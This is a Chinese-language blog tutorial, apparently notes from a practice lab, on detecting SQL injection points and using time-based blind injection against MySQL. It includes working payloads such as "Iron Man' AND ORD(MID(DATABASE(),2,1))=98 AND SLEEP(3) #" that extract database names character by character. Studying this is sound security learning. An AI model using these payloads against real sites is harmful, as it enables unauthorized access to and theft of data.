sql注入----sql injection 判断sql注入点

1.  单引号判断(')

 

 

 Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1  

错误:您的SQL语法有错误;检查与MySQL服务器版本相对应的手册,以获取第1行中靠近“”使用的正确语法

 2.盲注:有时候输入框中输入的内容不存,也有可能没得。

先了解一下like,比如select * from user where name like '%myName%'

如下:

 

 搜索出来的内容都是包含a的,在头脑里面考虑到like的用法,进行闭合。比如select * from movies where id=1 and sleep(10);

 

 

 

 

 

 首先我们先获得数据库的长度

select length(DATABASE());

#获得当前数据库时的第一个字符

SELECT SUBSTR(DATABASE(),1,1);
#判断数据库第一个字符是不是s,其它类型函数left(),substring,mid
SELECT SUBSTR(DATABASE(),1,1)='s';
#判断数据库第二个字符是不是a
SELECT SUBSTR(DATABASE(),2,1)='a';

通过sleep()函数来判断前面的sql是否正确,如果id=9有数据则会等待9秒,如果没有则立马执行完。

select * from `movies` where id=9 and sleep(10);

然后通过substr跟sleep来结合

SELECT SUBSTR(DATABASE(),1,1)='s' AND SLEEP(5);   如果当前数据库库名的第一个字符是s,则等待5秒之后输出,如果不是则立马输出

获得数据库里的ascii码,通过ascii()函数;备注后面的括号里面不管多少位字符串都只返回第一个字符的ascii码

 

 通过ascii码来加快查询数据,ascii(),ord().

SELECT ascii(SUBSTR(DATABASE(),1,1))=33 AND SLEEP(5);

SELECT ASCII(SUBSTR(DATABASE(),1,1))=98 AND SLEEP(5);  比如我这边库名的第一个字符是b,ascii码对应的是98,那么这个sql会停顿五秒

为什么使用ascii码呢,因为使用ascii码可以使用大于,比如我先转成ascii码,然后判断第一个字符是不是大于68,如果大于则使用后面的,如果小于则使用之前的,减少我们的试错

然后再来看看我们的靶场。

首先先判断我们输入的内容是什么类型,search for a movie 搜索一个电影一般来说可能是id也可能是电影名,那么就需要试试是id还是电影名,id为int类型电影名为字符串类型

1' or sleep(10) #

 

 

在使用or 加sleep()函数需要注意的是,数据库表中的内容不能太大,比如 select * from movies where id=1 or sleep(1);

这样会执行多少秒呢,那得看执行表数据存在多少条,一般来说有多少条就执行多少秒

查看上面的length,其实光那样是无法拿到database的长度的,我们需要改造一下如下:我们需要判断

SELECT * FROM movies WHERE id=1 AND LENGTH(DATABASE())=5 AND SLEEP(3);

如果我们需要查看数据库的长度,那么sql需要改成如下

Iron Man' AND LENGTH(DATABASE())=5 AND SLEEP(3) #

为了方便快速定位可以使用 大于等于 或者小于等于之类的。

 

 

 

 如果我们猜测的长度跟实际长度不相等的话,内容如下:

 

 

 

 获得数据库名称长度

Iron Man' AND LENGTH(DATABASE()) >=5 AND SLEEP(3) #

SELECT * FROM movies WHERE title='Iron Man' AND LENGTH(DATABASE()) >=5 AND SLEEP(3);

获得数据库名称

先得到ascii码,然后通过ascii码去反推库名称

Iron Man' AND ORD(MID(DATABASE(),2,1))=98 AND SLEEP(3) #

SELECT * FROM movies WHERE title='Iron Man' AND ORD(MID(DATABASE(),2,1))=98 AND SLEEP(3);

1.
布尔盲注——逻辑判断(不回显,接着使用)
2.
时间盲注——延时判断(不回显,最后使用,效率最慢)
3.
报错型盲注——报错回显(强制报错回显,优先使用,效率快)
先判断是否有sql盲注,然后再使用脚本去获得数据库名称。
posted @ 2022-06-23 21:02  沫笙*  阅读(237)  评论(0编辑  收藏  举报